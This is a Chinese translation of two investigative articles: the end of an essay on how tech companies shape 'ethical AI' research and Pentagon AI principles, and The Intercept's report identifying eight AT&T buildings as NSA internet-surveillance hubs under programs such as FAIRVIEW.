他说："我认为民间团体在行业团体中没有很好的代表。我们一直在参与AI合作计划，他们会竭尽全力阻止我们尝试使用似乎效果不佳的算法（例如保释前的风险评分）。我对自我监管感到担忧。例如，WhatsApp 假消息引发的惊人的种族灭绝（指的是罗兴亚），而 **Facebook** 知道发生了这种情况。"

（Facebook 承认其平台曾被用来煽动缅甸的暴力行为；新闻报道记录了 Facebook 平台上的内容如何助长了该国的种族灭绝事件，尽管人权活动家和研究人员向 Facebook 高管反复警告过。据报道，在印度大选期间，WhatsApp 被用来散布假消息之后，WhatsApp 使其用户更难以转发消息。）

☞但是，寡头企业和学术界的联盟过于强大和便捷。媒体实验室仍保留在该合伙企业中，伊藤继续与硅谷和华尔街的高管和投资者结为伙伴。

伊藤将亿万富翁 Siegel 描述为 “潜在的出资者”。**友好的** 批评可以作为建立业务关系的杠杆。

在私人会议上，伊藤和技术主管坦率地讨论了公司游说活动。

不管个人参与者的意图如何，公司游说组织勾结学术研究界的努力都非常成功。现在在所谓的 “AI伦理” 的旗号下有大量工作。

公平地讲，其中一些研究是有用且细微的，尤其是在人文和社会科学领域。但是，大部分资金充足的 **“道德AI”** 研究工作都与技术游说的议程保持一致 —— 自愿或适度地调整而不是在法律层面限制有争议的技术的部署。

奇怪的是，未经正式培训的伊藤就被定位为AI伦理学的“专家”，而AI伦理学在2017年之前几乎不存在。更奇怪的是，两年后，知名学科的受人尊敬的学者必须证明他们自己与公司游说所霸占的领域的相关性。

「图」

「图」

Former Google CEO Eric Schmidt, now chair of the Department of Defense’s Defense Innovation Board, takes his seat for the House Armed Services Committee hearing on “Promoting DOD’s Culture of Innovation” on April 17, 2018. Photo: Bill Clark/CQ Roll Call/Getty Images

这个领域也与美国军方息息相关，⚠不仅帮助官方对杀伤性技术的道德担忧洗地，而且在硅谷公司之间关于有利可图的军事合同的纠纷中也是如此。

11月1日，美国国防部创新委员会发布了有关 “人工智能道德原则” 的建议。

该委员会由 Eric Schmidt 主持，他是谷歌母公司 Alphabet 的前执行主席，当时奥巴马的国防部长 Ashton B. Carter 于2016年建立了该委员会并任命了 Schmidt。

根据 ProPublica 的说法，“**Schmidt** 的影响力在 **Carter** 的领导下已经很强大，而且在 **James Mattis** 出任 **[**特朗普**]** 国防部长时开始快速增长。”

该委员成员包括来自 Google、Microsoft 和 Facebook 的多名高管，引发了有关利益冲突的争议。

五角大楼负责应对利益冲突问题的一名员工在挑战 “五角大楼不仅与[亚马逊首席执行官杰夫]贝佐斯，而且与谷歌的埃里克·施密特保持友好关系后，也被从创新委员会中撤职。”

这种关系对大型科技公司而言可能是有利可图的：在五角大楼向微软授予了价值100亿美元的云计算合同后不到一周，就出现了AI道德规范建议，该合同正受到亚马逊的法律挑战。

这些建议旨在迫使五角大楼增加对人工智能的军事投资，并采用诸如硅谷公司开发和出售的所谓 **“**道德**AI”** 系统。

创新委员会将五角大楼称为 “深度道德组织”，并提出将其 “现有道德框架” 扩展到AI。为此，委员会引用了 Google、微软和 IBM 的所谓 AI伦理研究小组以及麻省理工学院-哈佛基金会资助的学者。

该委员会指出，尽管 “公平” 一词在**AI**社区中经常被提及，但建议还是避免使用该词，因为 “国防部的口头禅是战争不应该是公平的，国防部旨在创造条件来维持比任何潜在的对手都更多的优势。”

因此，“某些应用程序将被允许合理的偏见”，特别是 “更成功地瞄准某些对抗性战斗人员”。五角大楼的AI伦理学概念排除了道德审议的许多重要可能性，例如 禁止使用无人机进行有针对性的杀戮。

所谓 **“**道德**AI”** 的公司、学术界和军事支持者已经紧密合作以实现互惠互利。

2月，伊藤与 Carter 一起参加了题为 “Computing for the People: Ethics and AI” 的小组讨论，该小组还包括微软和谷歌的现任和前任高管。

该小组是麻省理工学院耗资10亿美元为专攻AI的大学成立庆典的一部分。庆典上的其他演讲者包括施密特（Schmidt）、西格尔（Siegel）和亨利·基辛格（Henry Kissinger）。

当基辛格宣布 “世界依赖由数据和算法提供动力，不受道德或哲学规

范支配”的可能性时，麻省理工学院礼堂外的一场抗议活动引起了人们对基辛格在越南、柬埔寨和老挝以及其他地方的战争罪行的关注。

对 “道德” 的任何可辩驳的主张都不能回避对大规模监视和系统暴力技术的部署采取法律上可强制执行的限制的紧迫性。

在这样的限制真正确立之前，关于技术道德和政治思考的问题将继续保持该媒体实验室的座右铭 “Deploy or Die” 所表达的以获利为首要任务的附属地位。〇

THE INVENTION OF “ETHICAL AI” How Big Tech Manipulates Academia to Avoid Regulation

原文

窃听室：揭秘国家安全局隐藏在八个城市中的间谍中心 - iYouPort

老大哥的真面目

The NSA’s Hidden Spy Hubs in Eight U.S. Cities

「图」

「图」

秘密藏在美国各城市的强化墙后面，高耸的、没有窗户的摩天大楼和堡垒般的混凝土结构内，这些建筑能抵御地震甚至核攻击。成千上万的人每天途径这些建筑物，但很少会看它们看第二眼，因为没人知道它们是干什么用的，它们的功能并未公开。

它们是世界上最大的电信网络中不可分割的一部分 — 关系着颇具争议的国家安全局监视计划。

亚特兰大，芝加哥，达拉斯，洛杉矶，纽约市，旧金山，西雅图和华盛顿特区，独立媒体 The Intercept 确定上述城市中的每一个都有一个包含网络设备的 AT＆T 设施，传输美国和全球的大量互联网流量。独立媒体获得了一系列证据 — 包括国家安全局的机密文件、公共记录以及对多名前美国电报电话公司员工的访谈 — 这些证据都表明，这些建筑物是国家安全局从事间谍活动的核心，多年来一直监控着数十亿封通过美国领土的电子邮件、电话和在线聊天。

美国国家安全局认为 AT＆T 是其最值得信赖的合作伙伴之一，并称赞该公司“有着极大的帮忙意愿”。这是一项已经持续了几十年的合作。然而，鲜为人知的是，它的监控范围并不局限于**AT＆T**的客户。

根据美国国家安全局的文件，它们重视 AT＆T 不仅仅是因为该公司“可以获得过境信息”，还因为它与其他电话和互联网提供商保持着独特的关系。美国国家安全局将这些关系用于监视目的，它们控制着AT＆T庞大的基础设施，并且将其作为一个平台，可以隐蔽地利用其他公司处理的通信。

「图」

「图」

以前有过不少报道描述美国国家安全局的监视计划。但是很少有描述关于能够进行间谍活动的物理基础设施的细节。去年，The Intercept 发现并报道了一个在纽约曼哈顿下城的可能属于 NSA 的设施。现在，我们首次透露了美国各地的一系列其他建筑，它们似乎具有类似的功能，是世界上最强大的电子窃听系统之一的关键部件，而且大隐隐于市。

布伦南司法中心的自由与国家安全计划联合主任 Elizabeth Goitein 说："这种情况以这种程度在美国的土地上发生简直令人震惊。"这种规模的监视，让我们在我们自己的后院对我们自己的城市的实际建筑和实际设施进行监控，这是我们以前想都没想过的。"

AT＆T 所有的不动产在美国境内有数百个。由 The Intercept 确定的其中八个地点具有特定的功能，专门处理 AT＆T 客户的数据，并且还从其他互联网提供商那里传送大量数据。它们被称为"backbone"和"peering"设施。

虽然网络运营商通常更喜欢通过自己的网络发送数据，但其他提供商的基础设施通常会提供更为直接的和更具成本效益的途径。如果该国某一特定地区的某个网络数据流量过载，另一个有空余容量的运营商可以出售或交换带宽，从而减轻拥堵地区的压力。这种流量交换被称为"peering"，是互联网的基本特征。

由于 AT＆T 是美国领先的电信公司之一，它拥有一个大型网络，其他供应商经常用它来 peering 客户的数据。这些公司包括美国电信巨头 Sprint，Cogent Communications 和 Level 3，以及瑞典的 Telia，印度的 Tata Communications，意大利的 Telecom Italia 和德国的 Deutsche Telekom 等外国公司。

AT＆T 目前在互联网流量交换的 149 个国家拥有 19,500 个"存在点"。但是，在美国的设施中只有8家可直接访问其"公共骨干" — 这些关键数据包含大量电子邮件、互联网聊天记录、社交媒体更新和互联网浏览会话。这八个地点是 **AT＆T** 全球网络中最重要的地区之一。文件表明，它们也很受国家安全局的重视。

消息人士称，AT＆T 与其他网络之间的数据交换最初发生在 AT＆T 的控制之外，在由加利福尼亚 Equinix 等公司拥有和运营的第三方数

据中心。但是这些数据通过八个AT＆T大楼进行全部或部分路由 — 在那里被国家安全局介入。根据一位曾在 AT＆T 工作了 22 年的前技术人员 Mark Klein 的说法，通过八个监控站点的“peering 线路”，间谍机构可以收集到的“不只有 AT＆T 的数据，还可以收集 AT＆T 网络和其他公司之间互换的所有数据。

Klein 说，这是进行网络监视的一个有效观点，“因为根据连接的性质，peering 链路可能在每天、每周、每年的某个点或另一个点上传输每个人的流量。”

国家安全局发言人 Christopher Augustine 在一份声明中表示，该机构“既不能确认也不否认其在被指控的机密情报活动中的作用”。Augustine 拒绝回答有关 AT＆T 设施的问题，但表示，“国家安全局“根据国会设立的法律部门开展其外国信号情报使命，受到政策和法律的约束，以保护美国人的隐私和公民自由”。

美国电话电报公司发言人 Jim Greer 表示，AT＆T 是“根据法律规定的要求，通过遵守法院命令、传票，合法地数据请求和其他法律要求向政府和执法机构提供信息。” 他补充说，该公司提供了“当一个人的生命处于危险之中并且在其他紧急情况下自愿协助的执法。在任何情况下，我们都确保援助请求是有效的，并且我们遵守法律。”

Cogent Communications 公司首席执行官 Dave Schaeffer 告诉 The Intercept，他不知道在 AT＆T 八座大楼的监控情况，但表示他相信“核心前提是国家安全局或其他一些机构想要在 AT＆T 设施中查看流量情况”。他表示，他怀疑由于技术和成本方面的限制，监控可能“有限”进行。 “如果 NSA 试图”无处不在地监控“通过 AT＆T 网络的数据，Schaeffer 补充说，他会”非常担心“。

Sprint, Telia, Tata Communications, 意大利电信和德国电信没有回应置评请求。拥有3级权限的 CenturyLink 表示不会讨论“国家安全问题”。

「图」

「图」

在绝密的国家安全局地图上标明了八个地点，该地图描绘了该机构依赖的其代号为 FAIRVIEW 的最大监视方案之一的美国设施。根据美国国家安全局的文件，AT＆T 是唯一参与 FAIRVIEW 项目的公司，1985 年首次成立，涉及国际电信电缆、路由器和交换机。

2003年，美国国家安全局启动了新的互联网大规模监视方法，这是在FAIRVIEW 计划下率先开展的。 “纽约时报”此前报道，该机构使用这些方法在几个月内收集了约 4000 亿条有关人们互联网通信和活动的记录。 **FAIRVIEW** 每天还向美国国家安全局 **Fort Meade** 总部的“关键词筛选系统”发送超过**100**万封电子邮件。

互联网间谍活动的核心是这八个“peering 链路路由器综合体”站点，这些站点位于绝密的 NSA 地图上。这些站点的位置反映了 AT＆T 网络的地理分布，显示了在亚特兰大，芝加哥，达拉斯，洛杉矶，纽约市，旧金山，西雅图和华盛顿 DC 的“peering 的骨干节点设施”。

其中一个 AT＆T 地图包含独特的代码，可以单独标识每个城市的设施地址。

精确定位的建筑物中包括，纽约市的 Hell’s Kitchen 社区一座防核爆设施；在华盛顿特区一座堡垒般的混凝土结构中，在美国国会大厦以南半英里处; 在芝加哥，西环门地区的一座抗震摩天大楼; 在亚特兰大市中心区一个 429 英尺的艺术装饰结构中 ;还有位于老东区的达拉斯，它是一座立方体式建筑，外部有狭窄的窗户和大型通风口。

在美国西海岸的其他地方，还有三个设施：在洛杉矶市中心，靠近沃尔特迪斯尼音乐厅和斯台普斯中心的一座引人注目的混凝土塔楼，距离该地区最重要的互联网交易所两个街区; 在西雅图，城市海滨附近一座15层高的建筑物，有黑色的窗户和钢筋混凝土基础; 以及旧金山南部的市场街区，这是一座之前曾声称 NSA 正在监控互联网流量的大楼，在六楼的安全屋。

在20世纪90年代中后期的互联网热潮之后，peering 网站被开发出来（AT＆T 公司称之为“服务节点路由复合体”或 SNRC）。截至2009年3月，美国国家安全局的文件称它正在利用“八个 SNRC 的 peering 线路”。

这些设施的目的是加强 AT＆T 的网络，提高其可靠性并实现未来增长。它们是在伊朗籍美国人、创新工程师 Hossein Eslambolchi 的领导下开发的，他之前是 AT＆T 的首席技术官兼 AT＆T 实验室的总裁，该公司是一家专注于研发的公司。

Eslambolchi 告诉 The Intercept，他在 AT＆T 要求帮助创建“世界上最大的互联网协议网络”之后，开始创建这些设施的计划。他负责并开始实施他的网络设计，将大型思科路由器放入美国境内的前AT＆T 电话交换机构。他说他给 AT＆T 的网络做了分区，“在每个象限中，

都会有我称之为 SNRC 的东西。”

「图」

「图」

在与 AT＆T 合作期间，Eslambolchi 说他必须进行测谎测试，以获得政府的安全许可。“我参与了这些三字母代理机构中几个非常非常重要的大型项目，”他表示，“他们都爱我。”三字母明显是指美国情报机构。

他不会确认或否认被 The Intercept 揭示的八个 peering 站点的确切位置，也不会讨论他在公司进行的机密工作。“你把枪放在我的头上，我不会告诉你的”，他说。

然而，另一位前 AT＆T 员工没那么固执。

AT＆T 技术的前高级员工，由于该主题的敏感性而以不愿透露姓名的方式发言，确认 The Intercept 揭示的八个 peering 设施中的六个的位置“100％”确定。消息来源援引对设施及其功能的直接了解，核实了亚特兰大，达拉斯，洛杉矶，纽约市，西雅图和华盛顿特区的建筑物地址。

第二位 AT＆T 前雇员证实了位于芝加哥和旧金山其余两个地点的位置。“我与他们所有人合作过，” Philip Long 说，他被 AT＆T 聘用了二十多年，担任网络技术人员。 Long 与 AT＆T 的合作主要在加利福尼亚州进行，但他表示他的工作要求他与该公司在美国的其他设施进行联系。大约在 2005 年，Long 回忆说，他收到了命令，将“我在加利福尼亚州北部的每条互联网骨干线路”通过由 The Intercept 确定为美国国家安全局八个间谍中心之一的旧金山 AT＆T 大楼。Long 说，当时，他对这些变化感到怀疑，因为这些变化是不寻常的和不必要的。“我们认为我们正在布线的工作就是为了便于他们能够获取所有数据，”他说。“我们认为这是政府窃听行为。”他在 2014 年退休离开 AT＆T。

第三位 AT＆T 前雇员在查看了 The Intercept 的研究后表示，他相信该研究准确识别了所有八个设施。“网站数据当然看起来是正确的，”1995年至2004年间在纽约市AT＆T担任数据网络顾问的 Thomas Saunders 说道，“那些节点不会移动。”

「图」

「图」

Photo: Henrik Moltke

估计全球 99% 的洲际互联网流量是通过数百条隐藏在世界海洋之下的巨型光缆传输的。通过电缆传输的大部分数据和通信都会在某一时刻通过美国，部分原因在于该国位于欧洲、中东和亚洲之间 — 还在于美国互联网公司的优势地位，硅谷的跨国企业为全球人提供服务。

美国国家安全局把这种状况称之为“主场优势” — 一种地缘好运。一个机构的文件解释说：“目标的电话、电子邮件或聊天记录将采用最便宜的路径，而不是物理上最直接的路径。“你的目标通信很容易流入和流经美国”。

一旦互联网流量抵达美国的土地，它就由美国公司处理。这就是为什么对于美国国家安全局来说，AT＆T 是如此地不可或缺。该公司称其拥有全球最强大的网络之一，是美国同类网络中规模最大的。AT＆T 经常处理大量电子邮件、电话和互联网聊天数据。截至2018年3月，大约有 197PB 的数据 — 相当于超过 49 万亿页的文本，或 600 亿个平均大小的 MP3 文件 — 每个工作日都在网络上传播。

由 **Edward Snowden** 提供的美国国家安全局文件描述 **AT＆T** 已经“积极参与”协助该机构的监视计划。其中一个例子似乎发生在一个名为 SAGUARO 的机密倡议下的八个站点中。

作为 SAGUARO 的一部分，AT＆T 制定了一项策略，帮助美国国家安全局以电子方式窃听来自八个站点的“peering 线路”的互联网数据，据称这些站点连接到“共同主干线”，这些主要数据线路承载着互联网流量。

「图」

「图」

根据一份最高绝密文件，该公司与国家安全局合作，根据情报价值对通过其网络传播的信息进行排序，优先考虑的数据取决于来自哪个国家。

国家安全局的图表显示，在从 AT＆T 的“访问链接”和“peering 链路”收集数据后，它被发送到代号为 PINECONE 的“集中处理设施”，位于新泽西州某处。在 PINECONE 设施内部，有一个安全的空间，其中既有 NSA 控制的设备，也有 AT＆T 控制的设备。

互联网流量通过 AT＆T “配电箱”传递给两个 NSA 系统。从那里开始，数据被传输到西南方约 200 英里的最终目的地：位于马里兰州米德堡的国家安全局总部。

在马里兰，从 AT＆T 网络收集的通信被集成到称为 MAINWAY 和 MARINA 的强大系统中，NSA 用它来分析元数据 — 例如电子邮件的“发信”和“收信”部分，以及它们的发送时间和日期。从 AT＆T 获得的通信也可以通过名为 **XKEYSCORE** 的工具访问，**NSA** 员工用它来搜索电子邮件，即时通讯聊天，网页浏览历史，网络摄像头照片，有关从在线服务下载的信息以及 **Skype** 会话的全部内容。

「图」

「图」

Top left / right: Mike Osborne. Bottom left: Henrik Moltke. Bottom right: Frank Heath.

国家安全局的主要任务是收集外国情报。该机构拥有广泛的法律权力，可监控向美国境内发送的电子邮件、电话和其他形式的信件，并可迫使 **AT＆T** 等公司在其网络中安装监控设备。

根据里根时代的总统令 — 行政命令12333 — 国家安全局拥有它所称的“中转权”，它表示它可以窃听“来自外国的和发给外国的所有通信，只要它们流经美国”。例如，包括从法国送往墨西哥的电子邮件，邮件在前往其目的地的途中通过加利福尼亚州的服务器路由。根据美国国家安全局的文件，截至2013年3月，他们使用 AT＆T 的网络每天收集约 6000 万封跨国电子邮件，每月 18 亿封。

如果没有定位为个人的法庭命令，国家安全局非法监视完全属于国内的通信，例如在德克萨斯州居住的两名美国人之间来回发送的电子邮件。然而，在**9/11**袭击事件之后，该机构开始窃听美国人与其他国家之间传递的国际电话和电子邮件。"纽约时报在 2005 年揭露"了这种做法，并引发了轰动一时的“无证窃听”丑闻。

批评者认为，监视美国人的国际通信是非法的，因为美国国家安全局在没有获得法官授权的情况下执行了这项任务，仅仅是根据美国总统布什的命令行事。 2008年，国会通过颁布“外国情报和监视法”第702条或叫 FISA，来权衡有争议的授权。然而新法律允许美国国家安全局在没有逮捕令的情况下继续扫荡美国人的国际通讯，只要它是发往国外的或从外国接收的，并称这是“针对在海外的外国人” — 例如，如

果它监控在巴基斯坦的人，而他们正通过电话、电子邮件或通过互联网聊天服务与在美国的美国人交谈。

在 AT＆T 的网络内部，有一些过滤设备被设计用于在将国外和国内的互联网数据传递给国家安全局之前将其分离出来。互联网提供商出于安全原因经常使用过滤技术，使他们能够监控网络问题、阻止垃圾邮件或监控网络攻击。但同样的工具也可以用于政府监控。

“你基本上可以做到欺骗路由器重定向你真正关心的一小部分流量，你可以更详细地监控它，”1996 年至 2005 年间为 AT＆T Labs 工作的计算机科学家 Jennifer Rexford 说道。

「图」

「图」

根据美国国家安全局的文件，他们将监控系统编程为专注于特定的 IP 地址 — 一组识别计算机是否与外国有关的特定 IP 地址。 2012 年的保密备忘录描述了该机构利用 IP 地址在美国与特定“感兴趣的地区”之间监视互联网数据的努力，包括伊朗、阿富汗、以色列、尼日利亚、巴基斯坦、也门、苏丹、突尼斯、利比亚和埃及。但是这个过程并不是一门精确的科学，因为人们可以使用隐私或匿名工具来更改或伪装 **IP** 地址。以色列的一个人可以使用隐私软件来伪装，就好像他们是在美国访问互联网一样。同样，美国的互联网用户可以使其看起来好像在以色列上网。目前还不清楚国家安全局的系统在检测这种异常情况方面是否有效。

2011 年10月，根据 FISA 第 702 条批准进行监视行动的外国情报监视法院发现，该机构的互联网窃听设备存在“技术限制”。法院指出，它“一般不能区分”某些类型的数据。因此，John D. Bates 法官裁定，国家安全局一直在拦截“非目标美国人和在美国的人”的通信，违反了第四修正案对不合理搜查和缉获受害者的保护。该裁决在2013年8月被解密，结论是该机构在六个月的时间内已经获得了约 1300 万次“联机交易处理”，并且每年非法收集“成千上万的全部国内通信”。

问题的根源在于美国国家安全局的技术不仅仅针对发送到特定监视目标的通信。相反，如果仅仅提到了有关监控目标的特定信息，该机构就会彻底翻看所有人们的电子邮件。

关于法院裁决的备忘录一直被国家安全局作为“最高机密”处理（之前没有披露过）这是首次披露，备忘录中说，如果一个人被发现包含在

一个“选择器”中（比如电子邮件地址或电话号码，就是该机构一直在收集的消息）就会在目标列表中显示。

“其中一个例子是，一个 webmail 服务的用户访问她的收件箱; 如果收件箱中存在一封包含 **NSA** 任务选择器的电子邮件，则 **NSA** 就会获取整个收件箱的所有邮件的副本，而不仅仅是包含任务选择器的单个电子邮件。“备忘录称。

法院的裁决给该机构留了两个选择：彻底关闭间谍活动，或确保实施保护措施以阻止非法收集通信的行为。美国国家安全局选择了后一种选择，并创建了一条“警示性标语”，警告其分析师不要阅读特定的消息，除非他们确认他们能够合法获得。

但警示性标语并没有解决问题。美国国家安全局的分析人员继续访问相同的数据库，非法搜索美国人的信息。 2017年4月，该机构公开承认这些违规行为，称其为“无心之失”。该机构表示将不再使用根据 FISA 第 702 条授权的监控计划来收集提及其目标的信息，理由是“技术限制，美国人的隐私权益，以及实施中的某些困难。”

美国国家安全局非法收集的信息正在使用被称为“上游”的监视方法，该机构仍在为根据 FISA 第702条和12333号行政命令授权的其他监视计划进行部署。上游方法涉及利用通信因为他们正在通过互联网 — 这些电子窃听计划就发生在 The Intercept 确认的八个位置中。

「图」

「图」

Photo: Frank Heath

亚特兰大的 AT＆T 大楼最初建于20世纪20年代，是该市中心区的主要电话交换机。艺术装饰结构由石灰石制成，旨在成为当时城市中规模最大的 25 层高的建筑。然而，由于经济大萧条，计划被缩减。在1947年至1963年之间，该建筑被升级，还增加了一座褐色的大型微波塔 — 数英里外可见。History Atlanta 网站上的建筑物简介指出，它包含“AT＆T 的运营，电话交换和其他通信设备”。

美国国家安全局和 AT＆T 的地图指出，亚特兰大这个设施是作为代号为 FAIRVIEW 的国家安全局监控计划的一部分，处理互联网流量的八个“peering”中心之一。一位前 AT＆T 员工 — 以匿名形式发言 — 证实，该网站是美国国家安全局文件中八个主要 AT＆T “服务节点路

由复合体”或 SNRC 之一，NSA 文件明确描述了在所有这八个站点中的数据流利用。

「图」

「图」

由第二位前 AT＆T 员工提供的信息增加了将亚特兰大建筑与 NSA 监视联系起来的证据。前 AT＆T 技术人员 Mark Klein 在 2006 年称，该公司已允许 NSA 在其网络中心安装监视设备。根据 Klein在法庭上对间谍案件提交的文件，亚特兰大的这个 AT＆T 设施是其中一个间谍站点。亚特兰大站点配备了“分离器”设备，用于复制 AT＆T 网络处理它的网络流量。根据 Klein 案例中的证据，复制的数据此后将被转移到“SG3”设备 — 对“第3研究组”的引用 — 该代号名被 AT＆T 用于与 NSA 监视有关的活动。

「图」

「图」

Photo: Henrik Moltke

亚特兰大的设施对 NSA 可能具有战略重要性。根据美国国家安全局和 AT＆T 的地图，该站点是距离迈阿密最近的主要 AT＆T 互联网路由中心。从迈阿密的海底电缆中，大量的数据流经美国和南美洲。这些数据大部分可能通过亚特兰大这一基础设施进出美国。近年来，美国国家安全局广泛针对若干拉丁美洲国家（如墨西哥，巴西和委内瑞拉）进行监视。

像20世纪60年代末和70年代初期建造的许多其他主要电信中心一样，芝加哥 AT＆T 大楼在冷战时期被设计为能抵御核攻击。这座 538 英尺高的摩天大楼位于城市的西环门区，于1971年建成。大型混凝土结构的顶部和底部都有窗户，但 28 层楼中有 18 层没有窗户。

据芝加哥太阳时报称，该设施处理城市的大部分电话和互联网流量，并配备有多个路由器、服务器和交换系统。“这座建筑涉及城市的每一位居民，”AT＆T 地区经理 Jim Wilson 在2016年告诉该报。

该建筑的建筑师之一 John Augur Holabird 在 1998 年的一次采访中说，它设置了一个“大型交换机”。他补充道：“如果原子弹袭击密尔沃基，你会很高兴知道你的电话线路仍然能畅通，尽管我们其余的人都被灭了。这就是那栋建筑的用途。”

根据伊利诺伊州广播公司 WBEZ 的报道，南运河街10号原来装有一百万加仑的油罐，涡轮发电机和一口水井，因此它可以在没有电力或城市用水的情况下继续运行两周以上。该建筑“锚定在基岩中，有助于支撑设备内部的重量，并给予它更多的抵抗炸弹爆炸或地震的能力”。

据芝加哥太阳时报报道，如今，该设施包含六台大型 V-16 黄色卡特彼勒发电机，可在发生电源故障时提供备用电力。在摩天大楼内部，AT＆T 储存大约 200,000 加仑的柴油，足以发电机运行40天。

这座 AT＆T 大楼是一座坚固的立方体结构，位于达拉斯的老东区，离贝勒大学医疗中心不远。建于 1961 年，是一种浅黄棕色，具有花岗岩基础的建筑。建筑物外部可以看到大型通风口，还有几个窄窗户，其中许多窗户似乎已经变黑或被反光玻璃膜覆盖。

布莱恩街 4211 号的设施毗邻其他 AT＆T 拥有的建筑物，其中包括一座始建于 1904 年的高耸入云的电话路由综合体。Dallas Observer 电话中心的一篇文章将其描述为“一座气势磅的、令人毛骨悚然的建筑物”，“在一些圈子中被称为米色长城。”

在1961年建成的时候，被称为麦迪逊大楼的 AT＆T 大楼是洛杉矶市中心最高的建筑。此后，金融区内的多家企业办公摩天大楼都相形见绌。

位于唐人街和斯台普斯中心之间，那座堡垒般的建筑是美国最大的电话中心办公室之一。“该办公室理论上可提供的电话线数量为130万。据“中央办公室”介绍，这是一个描述美国电信中心的网站。

这座 448 英尺高的 17 层建筑是米色的，长方形，而且几乎没有窗户。它的屋顶上有一个大型微波塔，最初用于通过天线网络传输电话。塔的技术在20世纪90年代初已变得过时，并且停止运行。它今天仍然是一种过时的交流方式的纪念碑，与附近较为现代的建筑形成鲜明对比，其中许多建筑物由银行拥有。

麦迪逊综合大楼距离威尔夏一号仅有两个街区，据称这是美国西海岸最重要的互联网交易所。“洛杉矶时报”在 2013 年报道：“每周有数十亿的电话、电子邮件和互联网页通过 One Wilshire，因为它是亚洲和北美之间主要光纤电缆路由的主要终点。”

由于麦迪逊综合大楼和威尔夏一号大楼近在咫尺，以及它们作为电信中心的共同角色，该建筑物可能会处理一些相同的数据。

美国国家安全局和 AT＆T 地图显示，麦迪逊综合设施是“peering”枢纽之一，它将互联网流量作为代号为 FAIRVIEW 的国家安全局监视项目的一部分进行处理。 AT＆T 的一名前雇员证实，该网站是美国国家安全局文件中八个主要 AT＆T “服务节点路由复合体”或 SNRC 之一，明确描述了在这八个站点中数据流的利用。

它建于 1964 年，是纽约市第一个主要的电信要塞。位于 Hell’s Kitchen 区的醒目的混凝土和花岗岩建筑 — 距中央公园约15分钟步行路程 — 高134米，共有21层，每个楼层都是无窗的，并且可以抵抗核爆。

“纽约时报”1975 年发表的一篇文章指出，第10大街811号是该城市“将要建造的几座无窗设备中的第一座”，并补充说其设计最初“引起了相当大的争议”。

根据 AT＆T 的记录，该大楼是一个“强化的电信数据中心”，并于 2000 年升级成为互联网数据中心。前美国电话电报公司的工程师 Thomas Saunders 告诉独立媒体，在20世纪70年代，这座大楼被认为是“该国最大的通信传输中心”。Saunders 还说，布什在**9/11**袭击期间一直在曼哈顿，特勤局将他带到了 **AT＆T** 设施内的安全地带。 “这是城里最强的建筑，”他说。

这座建筑的设计与纽约市另一个无窗建筑物有些相似 — AT＆T 位于曼哈顿下城托马斯街33号的摩天大楼。Intercept 在 2016 年的报告显示，托马斯街33号是国际电话呼叫的主要枢纽，并且似乎包含一个安全的 NSA 监视室 — 代号为 TITANPOINTE — 已用于接入传真和电话。

美国国家安全局和 AT＆T 地图显示的文件表明，第十大道大厦对于 NSA 来说等同于托马斯街33号。虽然美国国家安全局在托马斯街33号的监视主要针对通过大楼国际交换点的电话，但在第10大道的网站上，该机构似乎主要收集来自互联网浏览会话的电子邮件、在线聊天和数据。

这座旧金山 AT＆T 大楼被称为城市电信的“神经中枢”。它高约 256 英尺，有 9 层，其外部覆盖有银色面板; 有一系列可以在街道上看到的通风口，但几乎没有窗户。

由 The Intercept 获得的 NSA 和 AT＆T 地图显示，611 Folsom Street 是美国八个“peering”中心之一，它将互联网流量作为代号为 FAIRVIEW 的 NSA 监视项目的一部分进行处理。被 AT＆T 聘用了20

多年的技术人员 Philip Long 证实。

他回忆说，在21世纪初，“通过福尔瑟姆街道办事处”将我在北加利福尼亚州的每条因特网骨干线路都搬走了“。他说，当时他和他的同事们感觉很奇怪，他们被要求突然重新路由所有的流量，但是“服务并没有问题，没有设施问题。”

“我们获得了移动骨干的命令……我们只是干活儿的，” Long 说。“我们认为这是政府的事儿，而且他们是侵入性的。我知道我们正在干的活儿是方便他们可以获取所有数据。”

这是不是第一次建设涉及电子窃听设施的内幕被曝光。 2006年，一位名叫 Mark Klein 的 AT＆T 技术人员在一份宣誓法庭声明中声称，美国国家安全局正在该设施六楼一个安全房内监视互联网流量。

Klein 在2003年10月至2004年5月期间曾在 Folsom 街611号工作过，他表示该机构的员工访问了该建筑，并聘请 AT＆T 的管理层技术人员执行“特殊工作”。该工作涉及安装“分离机柜“它会在互联网数据流入大楼时复制数据，然后将其转移到安全房中。

他说安全房里的设备包括一个“语义流量分析器” — 一种可用于搜索大量数据的工具，用于电子邮件或在线聊天中包含的特定单词或短语。值得注意的是，Klein 发现国家安全局似乎专门针对互联网“peering 链路”，这得到了截获文件的证实。

“通过切入 peering 链路，他们不仅可以获得 AT＆T 的数据，还可以获得 AT＆T 网络和其他公司之间互换的所有数据，”Klein 在最近的一次采访中告诉 The Intercept。

根据 Klein 提供的文件，AT＆T 在福尔瑟姆街的网络“与其他公司如 Sprint，Cable＆Wireless 和 Qwest一样“peered”。他说，这也与一家名为 MAE West 的互联网交换点有联系，MAE West 是加利福尼亚州圣何塞的一个主要数据中心，在那里其他公司将其网络连接在一起。

Sprint 没有回应评论请求。 Cable＆Wireless 的一位发言人表示，公司只会在“合法授权或其他法律程序被要求这样做”的时候才会披露数据。2011年，CenturyLink 收购了 Qwest，作为合并价格为 12.2亿美元交易的一部分。 CenturyLink 发言人称他不能讨论“国家安全问题”。

西雅图这个站点位于市中心区，离海滨不远。这座灰色的建筑高15

层，有十几排狭窄的黑色窗户和通风口。根据公共记录，它最初于1955年建成，具有钢筋混凝土基础和钢结构支撑的外墙。

历史上，该设施是美国西北部重要的通信交换点，在 Bellingham，斯波坎，亚基马，北到加拿大和阿拉斯加地区之间发送呼叫。今天，该大楼似乎主要由 CenturyLink 的子公司 Qwest Corporation 拥有 — 但 AT＆T 在其内部有业务。 **AT＆T** 的标志印在建筑入口外的牌匾上。

在西雅图以北二十五英里的地方，有一条名为 Pacific Crossing-1 的大型洲际海底电缆，用于美国和日本之间的通信。西雅图大楼有可能处理其中一些通信和其他联通美国西海岸和亚洲的通信。

美国国家安全局和 AT＆T 的地图指出，西雅图站点是八个“peering”中心之一，将互联网流量作为代号为 FAIRVIEW的 NSA 监控计划的一部分处理。 AT＆T 的一名前雇员证实，该网站是美国国家安全局文件中八个主要 AT＆T “服务节点路由复合体”或 SNRC 之一，明确描述了在这八个网站中数据流的利用。

